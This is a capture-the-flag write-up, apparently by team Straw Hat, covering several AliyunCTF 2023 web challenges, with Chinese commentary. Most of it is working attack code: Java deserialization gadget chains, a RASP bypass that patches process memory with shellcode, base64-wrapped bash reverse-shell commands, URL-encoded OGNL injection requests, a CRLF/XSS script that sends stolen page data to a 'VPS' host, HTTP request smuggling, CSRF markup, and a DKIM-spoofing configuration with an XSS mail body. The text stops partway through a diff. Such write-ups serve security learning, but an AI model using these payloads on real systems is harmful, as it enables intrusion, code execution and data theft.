AliyunCTF 2023 By Straw Hat
WEB
bypassIt I
和fastjson一样。触发get。但是还能打TemplatesImpl。重写POJONode的一个whitereplace方法
不然序列化数据会被改
exploit.java
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.json.JsonMapper;
import com.fasterxml.jackson.databind.node.BaseJsonNode;
import com.fasterxml.jackson.databind.node.POJONode;
import com.fasterxml.jackson.databind.node.TextNode;
import com.sun.corba.se.impl.activation.ServerManagerImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.rowset.JdbcRowSetImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.NotFoundException;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import org.springframework.remoting.rmi.JndiRmiClientInterceptor;
import org.springframework.util.FileCopyUtils;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.Base64;
import java.util.HashMap;
public class exp {
public static void setFieldValue(Object object, String fieldName, Object value) {
try {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException, CannotCompileException, NoSuchMethodException, InvocationTargetException, InstantiationException, SQLException {
TemplatesImpl obj = new TemplatesImpl();
byte[] bytes1 = ClassPool.getDefault().get(calc.class.getName()).toBytecode();
byte[][] bytecode = new byte[][]{bytes1};
setFieldValue(obj, "_bytecodes",bytecode);
setFieldValue(obj, "_name", "Guoke");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
setFieldValue(obj, "_sdom", new ThreadLocal());
POJONode a = new POJONode(obj);
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
XString xString = new XString("xx");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy", a);
map1.put("zZ", xString);
map2.put("yy", xString);
map2.put("zZ", a);
Array.set(tbl, 0, nodeCons.newInstance(0, map1, map1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, map2, map2, null));
setFieldValue(s, "table", tbl);
ByteArrayOutputStream bytes = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(bytes);
objectOutputStream.writeObject(s);
byte[] output = Base64.getEncoder().encode(bytes.toByteArray());
FileOutputStream fout = new FileOutputStream(new File("1.ser"));
fout.write(bytes.toByteArray());
fout.close();
System.out.println(new String(output));
System.out.println("-------------------");
byte[] input = Base64.getDecoder().decode(output);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(input);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}
calc.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.util.Base64Utils;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
public class calc extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("bash -c {echo,=}|{base64,-d}|{bash,-i}");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
bypassIt II
和1链子一样 就是rasp把fork进程ban了 写mem覆盖libc地址还原即可
package com.example.demo;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassPool;
import javassist.CtClass;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.RandomAccessFile;
import java.lang.reflect.Field;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class eval extends AbstractTranslet {
public void run(){}
public eval() throws Exception{
// System.out.println(1);
String maps = new String(Files.readAllBytes(Paths.get("/proc/self/maps")), StandardCharsets.UTF_8);
System.out.println(maps);
Pattern pattern = Pattern.compile("\\s+(/.+libc\\-.+)");
Matcher matcher = pattern.matcher(maps);
if (!matcher.find()) {
System.out.println("[-] Failed to find libc location. Exiting");
return;
}
String libcPath = matcher.group(1);
System.out.println("[*] Libc location: " + libcPath);
long pieBase = Long.parseLong(maps.split("-")[0], 16);
System.out.println("[*] PIE base: 0x" + Long.toHexString(pieBase));
// long[] offsets = parseElf(libcPath);
// long systemOffset = offsets[0];
// System.out.println("[*] systemOffset: " + systemOffset);
// long openOffset = offsets[1];
// System.out.println("[*] openOffset: " + openOffset);
// if (systemOffset == 0 || openOffset == 0) {
// System.out.println("[-] Failed. Exiting");
// return;
// }
//
// String maps = new String(Files.readAllBytes(Paths.get("/proc/self/maps")));
// Pattern pattern = Pattern.compile("\\s+(/.+libc\\-.+)");
// Matcher matcher = pattern.matcher(maps);
// if (!matcher.find()) {
// System.out.println("[-] Failed to find libc location. Exiting");
// return;
// }
// String libcPath = matcher.group(1);
// System.out.println("[*] Libc location: " + libcPath);
// long pieBase = Long.parseLong(maps.split("-")[0], 16);
// System.out.println("[*] PIE base: 0x" + Long.toHexString(pieBase));
//
// // Find system_offset and open_offset
// System.out.println("[*] Trying to get open and system symbols from Libc");
// long libc_base = findBase("libc");
// long java_so_base = findBase("libjava");
// long libnativerasp_base = findBase("libnativerasp");
// System.out.println("[+] libc_base: "+Long.toHexString(libc_base));
// System.out.println("[+] java_so_base: "+Long.toHexString(java_so_base));
// System.out.println("[+] libnativerasp_base: "+Long.toHexString(libnativerasp_base));
//
// long libnativerasp_wuforkAndExec_addr = 0x12ad;
// long libjava_forkAndExec_addr = 0x148D0;
// RandomAccessFile mem = new RandomAccessFile("/proc/self/mem", "rw");
// mem.seek(java_so_base+libjava_forkAndExec_addr);
// byte[] mem_of_libjava_forkAndExec = new byte[8];
// mem.read(mem_of_libjava_forkAndExec);
// System.out.println("[+] mem_of_libjava_forkAndExec: "+ Arrays.toString(mem_of_libjava_forkAndExec));
// mem.seek(libnativerasp_base+libnativerasp_wuforkAndExec_addr);
// mem.write(mem_of_libjava_forkAndExec);
// System.out.println("have written to libnativerasp_wuforkAndExec_addr");
// Runtime.getRuntime().exec("touch /tmp/pwn");
// Pattern pattern1 = Pattern.compile("\\s+(/.+libnativerasp.+)");
// Matcher matcher1 = pattern1.matcher(maps);
// if (!matcher1.find()) {
// System.out.println("[-] Failed to find libc location. Exiting");
// return;
// }
// String libnativerasp = matcher1.group(1);
// System.out.println("[*] libnativerasp location: " + libnativerasp);
// long libnativeraspBase = Long.parseLong("4072506000", 16);
// System.out.println("[*] PIE base: 0x" + Long.toHexString(libnativeraspBase));
//
//
// Pattern pattern2 = Pattern.compile("\\s+(/.+libjava.+)");
// Matcher matcher2 = pattern2.matcher(maps);
// if (!matcher2.find()) {
// System.out.println("[-] Failed to find libc location. Exiting");
// return;
// }
// String libjava = matcher2.group(1);
// System.out.println("[*] libnativerasp location: " + libjava);
// long libjavaBase = Long.parseLong("400b2ec000", 16);
// System.out.println("[*] PIE base: 0x" + Long.toHexString(libjavaBase));
//
//// long raspBase = findLib("libnativerasp.so");
//// long libjavaBase = findLib("libjava.so");
// RandomAccessFile mem = new RandomAccessFile("/proc/self/mem", "rw");
//
// long target = libjavaBase + 0x148D0;
// byte[] shellcode = new byte[12];
// shellcode[0] = 0x48; shellcode[1] = (byte) 0xb8;
// for (int i = 0; i < 8; i++) {
// shellcode[2+i] = (byte) ((target >> 8*i) & 0xff);
// }
// shellcode[10] = (byte) 0xff;
// shellcode[10] = (byte) 0xe0;
// mem.seek(libnativeraspBase + 0x12AD);
// mem.write(shellcode);
// Runtime.getRuntime().exec("touch /tmp/succ");
// RandomAccessFile file = new RandomAccessFile(libcPath, "r");
//
// // 获取 __libc_system 的偏移量
// long systemOffset = getOffset(file, "__libc_system");
//
// // 获取 __open 的偏移量
// long openOffset = getOffset(file, "__open");
//// long[] offsets = parseElf(libcPath);
//// long systemOffset = offsets[0];
// System.out.println("[*] openOffset: " + systemOffset);
//// long openOffset = offsets[1];
// System.out.println("[*] openOffset: " + openOffset);
// if (systemOffset == 0 || openOffset == 0) {
// System.out.println("[-] Failed. Exiting");
// return;
// }
//
//
// System.out.println("[+] Got them. Seeking for address in memory");
// long openAddr = ElfParser.readMemory(pieBase + openPhp);
// System.out.println("[*] open@plt addr: 0x" + Long.toHexString(openAddr));
// long libcStart = openAddr - openOffset;
// long systemAddr = libcStart + systemOffset;
// System.out.println("[*] system@plt addr: 0x" + Long.toHexString(systemAddr));
//
// System.out.println("[*] Rewriting open@plt address");
// long[] result = parseElf("/proc/self/exe", true);
// if (result.length == 1 && result[0] == 0) {
// System.out.println("[-] Failed. Exiting");
// System.exit(0);
// }
long libc_base = findBase("libc");
long java_so_base = findBase("libjava");
long libnativerasp_base = findBase("libnativerasp");
System.out.println("[+] libc_base: "+Long.toHexString(libc_base));
System.out.println("[+] java_so_base: "+Long.toHexString(java_so_base));
System.out.println("[+] libnativerasp_base: "+Long.toHexString(libnativerasp_base));
long libnativerasp_wuforkAndExec_addr = 0x12ad;
long libjava_forkAndExec_addr = 0x148D0;
long target = java_so_base + libjava_forkAndExec_addr;
byte[] shellcode = new byte[12];
shellcode[0] = 0x48; shellcode[1] = (byte)0xb8;// mov rax, 0x12345678abcef
for (int i = 0; i < 8; i++) { // little endian
shellcode[2+i] = (byte)((target >>> 8*i) & 0xff);
}
shellcode[10] = (byte)0xff; shellcode[11] = (byte)0xe0; // jmp rax
RandomAccessFile mem = new RandomAccessFile("/proc/self/mem", "rw");
mem.seek(libnativerasp_base+libnativerasp_wuforkAndExec_addr);
// mem.seek(java_so_base+libjava_forkAndExec_addr);
mem.write(shellcode);
// byte[] mem_of_libjava_forkAndExec = new byte[8];
// mem.read(mem_of_libjava_forkAndExec);
// System.out.println("[+] mem_of_libjava_forkAndExec: "+Arrays.toString(mem_of_libjava_forkAndExec));
// mem.seek(libnativerasp_base+libnativerasp_wuforkAndExec_addr);
// mem.write(mem_of_libjava_forkAndExec);
System.out.println("have written to libnativerasp_wuforkAndExec_addr");
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+==}|{base64,-d}|{bash,-i}");
}
static long findBase(String regex){
try {
String maps = new String(Files.readAllBytes(Paths.get("/proc/self/maps")), StandardCharsets.UTF_8);
Pattern pattern = Pattern.compile("^[^\n]+"+regex+"[^\n]+$", Pattern.MULTILINE);
Matcher matcher = pattern.matcher(maps);
if (!matcher.find()) {
System.out.println("[-] Failed to find "+regex);
return 0x0;
}
String line = matcher.group(0);
String[] parts = line.split(" ");
String[] addr = parts[0].split("-");
return Long.parseLong(addr[0], 16);
} catch (Exception e) {
e.printStackTrace();
}
return 0x0;
}
public static long findLib(String libName) {
long pieBase =0;
try {
//读libc基址
String maps = new String(Files.readAllBytes(Paths.get("/proc/self/maps")), StandardCharsets.UTF_8);
Pattern pattern = Pattern.compile("\\s+(/.+" + libName + ")$");
Matcher matcher = pattern.matcher(maps);
if (!matcher.find()) {
System.out.println("[-] Failed to find libc location. Exiting");
}
String javaPath = matcher.group(1);
System.out.println("[*] location: " + javaPath);
pieBase = Long.parseLong(maps.split("-")[0], 16);
System.out.println("[*] PIE base: 0x" + Long.toHexString(pieBase));
return pieBase;
} catch (Exception e) {
e.printStackTrace();
}
return pieBase;
}
public static long getOffset(RandomAccessFile file, String name) throws IOException {
// 读取 ELF 文件头部
byte[] header = new byte[64];
file.readFully(header);
// 获取节头部表格的偏移量和大小
long sectionHeaderOffset = getLong(header, 32, 8);
int sectionHeaderSize = getShort(header, 46, 2) * getShort(header, 44, 2);
// 遍历节头部表格,查找目标符号
byte[] sectionHeader = new byte[64];
for (int i = 0; i < sectionHeaderSize; i += 64) {
file.seek(sectionHeaderOffset + i);
file.readFully(sectionHeader);
int nameOffset = getInt(sectionHeader, 0, 4);
long type = getLong(sectionHeader, 4, 4);
long offset = getLong(sectionHeader, 16, 8);
long size = getLong(sectionHeader, 24, 8);
if (type == 2 && nameOffset != 0) {
// 读取节的名称
byte[] nameBytes = new byte[32];
file.seek(getLong(header, 40, 8) + nameOffset);
file.readFully(nameBytes);
String sectionName = new String(nameBytes).split("\0")[0];
if (sectionName.equals(".symtab")) {
// 遍历符号表,查找目标符号
byte[] symbolTableEntry = new byte[24];
for (int j = 0; j < size; j += 24) {
file.seek(offset + j);
file.readFully(symbolTableEntry);
nameOffset = getInt(symbolTableEntry, 0, 4);
type = (symbolTableEntry[4] & 0xff);
long value = getLong(symbolTableEntry, 8, 8);
if (nameOffset != 0 && type == 2) {
// 读取符号名称
file.seek(getLong(header, 40, 8) + nameOffset);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
int c;
while ((c = file.read()) != 0) {
baos.write(c);
}
String symbolName = baos.toString();
if (symbolName.equals(name)) {
return value;
}
}
}
}
}
}
return -1;
}
public static int getShort(byte[] bytes, int offset, int length) {
int value = 0;
for (int i = 0; i < length; i++) {
value |= (bytes[offset + i] & 0xff) << (8 * i);
}
return value;
}
private static int getInt(byte[] bytes, int offset, int length) {
byte[] tmp = new byte[length];
System.arraycopy(bytes, offset, tmp, 0, length);
ByteBuffer buffer = ByteBuffer.wrap(tmp).order(ByteOrder.LITTLE_ENDIAN);
return length == 2 ? buffer.getShort() & 0xffff : buffer.getInt();
}
private static long getLong(byte[] bytes, int offset, int length) {
byte[] tmp = new byte[length];
System.arraycopy(bytes, offset, tmp, 0, length);
ByteBuffer buffer = ByteBuffer.wrap(tmp).order(ByteOrder.LITTLE_ENDIAN);
return length == 8 ? buffer.getLong() : buffer.getInt() & 0xffffffffL;
}
private static String getString(byte[] bytes, int offset) {
int length = 0;
for (int i = offset; i < bytes.length && bytes[i] != 0; i++) {
length++;
}
return new String(bytes, offset, length, StandardCharsets.UTF_8);
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
protected static byte[] getBytescode() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(eval.class.getName());
return clazz.toBytecode();
}
}
通向shell之路
对大写的%2F
解析 所以
GET /demo1_war/user/sdf%252F..%252F..%252F..%252Faction%252F HTTP/1.1
Host: 127.0.0.1:8080
sec-ch-ua: "Chromfium";v="112", "Google Chrome";v="112", "Not:A-Brand";v="99"
Accept: application/json, text/plain, */*
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
sec-ch-ua-platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/app/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,mg;q=0.7
Cookie: loginstate=false; connect.sid=s%3AiVhMe039AOrrxnJOPU69syMbcRDq8fXw.SWC6scGzsC90fgX%2Fo2CjA5D2jl7opbz2J8XayjJJSYc
Connection: close
能到内网的action路由触发ognl
''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('open -a Calculator')")
GET /app/user/sdf%252F..%252F..%252F..%252Faction%252F%25%32%37%25%32%37%25%32%65%25%36%37%25%36%35%25%37%34%25%34%33%25%36%63%25%36%31%25%37%33%25%37%33%25%32%38%25%32%39%25%32%65%25%36%36%25%36%66%25%37%32%25%34%65%25%36%31%25%36%64%25%36%35%25%32%38%25%32%32%25%36%61%25%36%31%25%37%36%25%36%31%25%37%38%25%32%65%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%32%65%25%35%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%34%35%25%36%65%25%36%37%25%36%39%25%36%65%25%36%35%25%34%64%25%36%31%25%36%65%25%36%31%25%36%37%25%36%35%25%37%32%25%32%32%25%32%39%25%32%65%25%36%65%25%36%35%25%37%37%25%34%39%25%36%65%25%37%33%25%37%34%25%36%31%25%36%65%25%36%33%25%36%35%25%32%38%25%32%39%25%32%65%25%36%37%25%36%35%25%37%34%25%34%35%25%36%65%25%36%37%25%36%39%25%36%65%25%36%35%25%34%32%25%37%39%25%34%65%25%36%31%25%36%64%25%36%35%25%32%38%25%32%32%25%34%61%25%36%31%25%37%36%25%36%31%25%35%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%32%32%25%32%39%25%32%65%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%32%32%25%36%61%25%36%31%25%37%36%25%36%31%25%32%65%25%36%63%25%36%31%25%36%65%25%36%37%25%32%65%25%35%32%25%37%35%25%36%65%25%37%34%25%36%39%25%36%64%25%36%35%25%32%65%25%36%37%25%36%35%25%37%34%25%35%32%25%37%35%25%36%65%25%37%34%25%36%39%25%36%64%25%36%35%25%32%38%25%32%39%25%32%65%25%36%35%25%37%38%25%36%35%25%36%33%25%32%38%25%32%37%25%36%32%25%36%31%25%37%33%25%36%38%25%32%30%25%32%64%25%36%33%25%32%30%25%37%62%25%36%35%25%36%33%25%36%38%25%36%66%25%32%63%25%35%39%25%36%64%25%34%36%25%37%61%25%36%31%25%34%33%25%34%31%25%37%34%25%36%31%25%35%33%25%34%31%25%32%62%25%34%61%25%36%39%25%34%31%25%37%36%25%35%61%25%34%37%25%35%36%25%33%32%25%34%63%25%33%33%25%35%32%25%36%61%25%36%33%25%34%33%25%33%38%25%37%38%25%34%64%25%37%61%25%34%39%25%37%35%25%34%64%25%36%61%25%34%64%25%37%39%25%34%63%25%36%61%25%36%37%25%37%39%25%34%63%25%36%61%25%35%35%25%33%30%25%34%63%25%37%61%25%34%39%25%37%61%25%34%64%25%37%61%25%34%64%25%36%37%25%34%64%25%34%34%25%33%34%25%36%64%25%34%64%25%35%31%25%33%64%25%33%64%25%37%64%25%37%63%25%37%62%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%63%25%32%64%25%36%34%25%37%64%25%37%63%25%37%62%25%36%32%25%36%31%25%37%33%25%36%38%25%32%63%25%32%64%25%36%39%25%37%64%25%32%37%25%32%39%25%32%32%25%32%39 HTTP/1.1
Host: 120.55.13.151:8080
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36p
DNT: 1
Referer: http://120.55.13.151:8080/app/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,am;q=0.8,ar;q=0.7,zh-CN;q=0.6,zh;q=0.5
sec-gpc: 1
Connection: close
ezbean
fastjson打java.security.SignedObject#getObject二次反序列化绕resolveclass,然后用MyBean打RMIConnector JNDI注入,BYPASS WITH EL,由于fj构造函数获取随机问题,需要多打几次。
package ysoserial.payloads;
import com.alibaba.fastjson.JSONObject;
import com.ctf.ezser.bean.MyBean;
import org.apache.commons.codec.binary.Base64;
import ysoserial.Serializer;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import javax.management.BadAttributeValueExpException;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.lang.reflect.Field;
import java.security.*;
public class Fastjson3 implements ObjectPayload<Object>{
public Object getObject (String command ) throws Exception {
JSONObject json= new JSONObject();
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://10:9999/hb57ht");
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL,null);
MyBean myBean = new MyBean("a","a",rmiConnector);
json.put("YYY", myBean);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,json);
byte[] jndi = Serializer.serialize(poc);
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject so = null;
so = new SignedObject(poc, privateKey, signingEngine);
JSONObject json2= new JSONObject();
json2.put("YYY", so);
BadAttributeValueExpException poc2 = new BadAttributeValueExpException(1);
Field val2 = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val2.setAccessible(true);
val2.set(poc2,json2);
System.out.println(Base64.encodeBase64String(Serializer.serialize(poc2)));
return poc2;
}
public static void main(String[] args) throws Exception {
PayloadRunner.run(Fastjson3.class, args);
}
}
obisidian
header crlf注入送走CSP头并且进行xss,然后再crlf注入读到set-cookie
admin访问的是localhost 不是127.0.0.1也不是公网ip
import requests
import re
import base64
REMOTE_ADDR = "<http://116.62.26.23:8000>"
from pow5 import do_brute
rs = requests.Session()
def expMaker(x):
exp = "<http://localhost:8000/note/>"
exp += "%0d%0aContent-Length:LENGTH%0d%0a%0d%0a"
exp += '<script>eval(atob("'
exp += base64.b64encode(x.encode()).decode().replace("/","%2F").replace("+","%2B").replace("=","%3D")
exp += '"))<%2Fscript>'
exp = exp.replace("LENGTH",str(len(exp)-exp.index("LENGTH")+4))
return exp
exp = expMaker('''
fetch("/note/%0d%0aContent-Length:1120%0d%0a%0d%0aaaa").then(res => res.text()).then(data => {window.location.href="//VPS/x/r4?data=" + encodeURIComponent(data)}).catch(err => window.location.href="//VPS/x/r4?data=" + encodeURIComponent(err))
''')
print(exp)
def attack():
rs.post(REMOTE_ADDR + "/login", data={"username": "123", "password": "123"})
page = rs.get(REMOTE_ADDR + "/submit").text
regex1 = r'<label>([a-zA-Z0-9]{1,})\\s*\\+\\s*4 chars\\(a-zA-Z0-9\\) = ([a-zA-Z0-9]{32})</label>'
# regex1 = r'<label>([a-zA-Z0-9]{1,})\\s*\\+\\s*5 chars = ([a-zA-Z0-9]{32})</label>'
data = re.findall(regex1, page)[0]
print(data)
pow = do_brute(data[0],data[1])
print(pow)
resp = rs.post(REMOTE_ADDR + "/submit", data={"suffix": pow,"url":exp})
print(resp.status_code)
attack()
拿cookie去访问/blog 看到admin发的一个note
门缝
什么东西从门缝里溜出去了?http://118.178.238.83:800werkzeug/proxy_fix.py 取的是 HTTP_X_FORWARDED_FOR 的值 所以可以用x_forwarded_for绕过kong的x-forwarded-for限制
- request处理url用的不是urlparse,是urllib3.util.url.parse_url,存在解析差异(这里urlparse还有另一个解析差异问题
'<http://172.18.19.3:8000>\\[attacker.com]'
,但是没法利用) - headers里添加Transfer-Encoding: chunked 进行request smuggling
- 根据注释 找到 http://172.18.19.3:8000/admin/ ;/admin/routes有路由列表,/admin/services有服务列表
- 404测出backend服务是java,java路径解析差异/api/login/..;/flag绕过api路由上的鉴权,并且要post
import requests
from urllib.parse import urlparse
REMOTE_ADDR = "<http://118.178.238.83:8000>"
url = "<http://172.18.19.3:8000\\\\@baidu.com/../404>"
second_request='''\\
POST /api/login/..;/flag HTTP/1.1
Host: 111
Kong-Debug: 1
Content-Type: application/json
X-Consumer-Username: admin
X-Consumer-Custom-ID: super_administrator
X-Consumer-ID: 84a1a610-2269-40b8-8ff6-d7143151616b
Content-Length:XXX
'''
second_request_body = '''\\
{thisdoesntmatter}'''
second_request = second_request.replace('XXX', str(len(second_request_body))) + second_request_body
second_request = second_request.replace("\\n", "\\r\\n")
print(second_request)
def attack():
rs = requests.Session()
resp = rs.post(REMOTE_ADDR + "/proxy", json={
'url': url,
"headers": {
"Kong-Debug": "1",
"Transfer-Encoding": "chunked"
},
"data": "1\\r\\na\\r\\n0\\r\\n\\r\\n" + second_request + "\\r\\n",
},
headers={
'x_forwarded_for': '127.0.0.1'
})
print(resp)
print(resp.text)
if __name__ == '__main__':
attack()
Pastebin
他这个缓存的key在搜索的时候有问题,如果我自己补一个*,同样可以起到通配的作用
pkg/storage/storage.go
搜出来之后有个验证,就是需要basekey(新访问的)+varySeparator({-VARY-})在原始的key开头就可以
所以
让管理员访问
/admin/paste/任意的post-id/view?a=*-{-VARY-}
然后我们自己访问
/admin/paste/同样的post-id/view?a=*
可以把auth code漏出来
然后就是一个CSRF
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form method='POST' action='<http://web:4000/admin/paste/9e315020-bad6-4ea1-ad25-467c655d497c/view>' id="csrf-form">
<input type='hidden' name='score' value='5'>
<input type='hidden' name='_auth' value='58d7a'>
<input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>
</body>
</html>
简单的邮件平台
其实是个论文题, https://www.jianjunchen.com/p/composition-kills.USESEC20.pdf
根据这个论文, 某些DKIM验证系统在验证的时候, 会因为对dkim的头解析出现不同的错误解析, 导致DKIM的绕过. 论文作者也给了相关的PoC: https://github.com/chenjj/espoofer
这次比赛里面主要用到的是DKIM在处理\x00的时候出现问题, 导致验证签名用的A域名的密钥, 判断发送人是否合法用的是B的域名
代码根据题目要做一些patch
diff --git a/common/common.py b/common/common.py
index b7e72bd..6aefa54 100644
--- a/common/common.py
+++ b/common/common.py
@@ -52,5 +52,5 @@ def recursive_fixup(input, old, new):
def generate_dkim_header(dkim_msg, dkim_para):
d = dkim.DKIM(dkim_msg)
- dkim_header = d.sign(dkim_para["s"], dkim_para["d"], open("dkimkey","rb").read(), canonicalize=(b'simple',b'relaxed'), include_headers=[b"from"]).strip()+b"\\r\\n"
+ dkim_header = d.sign(dkim_para["s"], dkim_para["d"], open("dkimkey","rb").read(), canonicalize=(b'relaxed',b'relaxed'), include_headers=[b"from"]).strip()+b"\\r\\n"
return dkim_header
diff --git a/config.py b/config.py
index 80683df..d03278c 100644
--- a/config.py
+++ b/config.py
@@ -1,12 +1,12 @@
config = {
- "attacker_site": b"attack.com", # attack.com
- "legitimate_site_address": b"admin@legitimate.com", # From header address displayed to the end-user
- "victim_address": b"victim@victim.com", # RCPT TO and message.To header address,
+ "attacker_site": b"n1c.tf", # attack.com
+ "legitimate_site_address": b"OBx7VH7JTK4vzRb@outlook.com", # From header address displayed to the end-user
+ "victim_address": b"admin@121.41.57.221", # RCPT TO and message.To header address,
"case_id": b"server_a1", # You can find all case_id using -l option.
# The following fields are optional
"server_mode":{
- "recv_mail_server": "", # If no value, espoofer will query the victim_address to get the mail server ip
+ "recv_mail_server": "121.41.57.221", # If no value, espoofer will query the victim_address to get the mail server ip
"recv_mail_server_port": 25,
"starttls": False,
},
@@ -17,9 +17,14 @@ config = {
},
# Optional. You can leave them empty or customize the email message header or body here
- "subject_header": b"", # Subject: Test espoofer\\r\\n
+ "subject_header": b"Subject: Fuck this shit i am out\\r\\n", # Subject: Test espoofer\\r\\n
"to_header": b"", # To: <alice@example.com>\\r\\n
- "body": b"", # Test Body.
+ "body": b"""--001a113db9c28077e7054ee99e9c
+Content-Type: text/html; charset="UTF-8"
+
+<img src="#" onerror="fetch('/flag').then(fetch('/mail',{method:'POST',body:JSON.stringify({content:'test','toUserName':'ef1c6f75f534bf10','subject':'test'}),headers:{'Content-Type':'application/json'}}))">
+
+--001a113db9c28077e7054ee99e9c--""", # Test Body.
# Optional. Set the raw email message you want to sent. It's usually used for replay attacks
"raw_email": b"",
diff --git a/testcases.py b/testcases.py
index 5475792..77d79d9 100644
--- a/testcases.py
+++ b/testcases.py
@@ -39,9 +39,9 @@ test_cases = {
},
"server_a3": {
"helo": b"33.attack.com",
- "mailfrom": b"<any@33.attack.com>",
+ "mailfrom": b"<OBx7VH7JTK4vzRb@outlook.com>",
"rcptto": b"<victim@victim.com>",
- "dkim_para": {"d":b"legitimate.com", "s":b"selector._domainkey.attack.com.\\x00.any", "sign_header": b"From: <admin@legitimate.com>"},
